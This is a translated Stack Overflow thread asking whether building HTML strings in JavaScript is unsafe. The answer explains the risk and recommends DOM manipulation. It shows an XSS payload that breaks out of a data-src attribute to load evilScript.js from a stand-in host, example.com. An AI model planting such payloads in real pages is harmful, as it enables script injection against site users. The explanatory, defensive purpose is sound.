托管我们网站的公司会在部署之前检查我们的代码-他们最近告诉我们:



例如,代替

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );

他们告诉我们要做
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

这是真的吗?谁能给我们一个XSS攻击示例,它可以像第一个一样利用HTML字符串?

最佳答案

如果对this.au进行了某种修改,则可能包含以下内容:

"><script src="http://example.com/evilScript.js"></script><span class="

这会弄乱您的HTML并注入(inject)脚本:
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

如果您使用DOM操作来设置src属性,则该脚本(或您使用的任何其他XSS)将不会执行,因为DOM API会正确地对该脚本进行转义。

回应一些评论员的说法,如果有人可以修改this.au,那么他们肯定可以自己运行该脚本:我不知道this.au来自何处,也不特别相关。它可能是数据库中的值,并且数据库可能已受到破坏。也可能是恶意用户试图将其他用户弄乱。甚至可能是一个无辜的非技术人员,他没有意识到编写"def" > "abc"会破坏一切。

还有一件事。在您提供的代码中,var quizAuLink = $( 'a' );将不会创建新的<a>元素。它只会选择所有现有的。您需要使用var quizAuLink = $( '<a>' );创建一个新的。

关于javascript - 在Javascript中构建HTML字符串真的不安全吗?,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/26990899/

10-09 03:24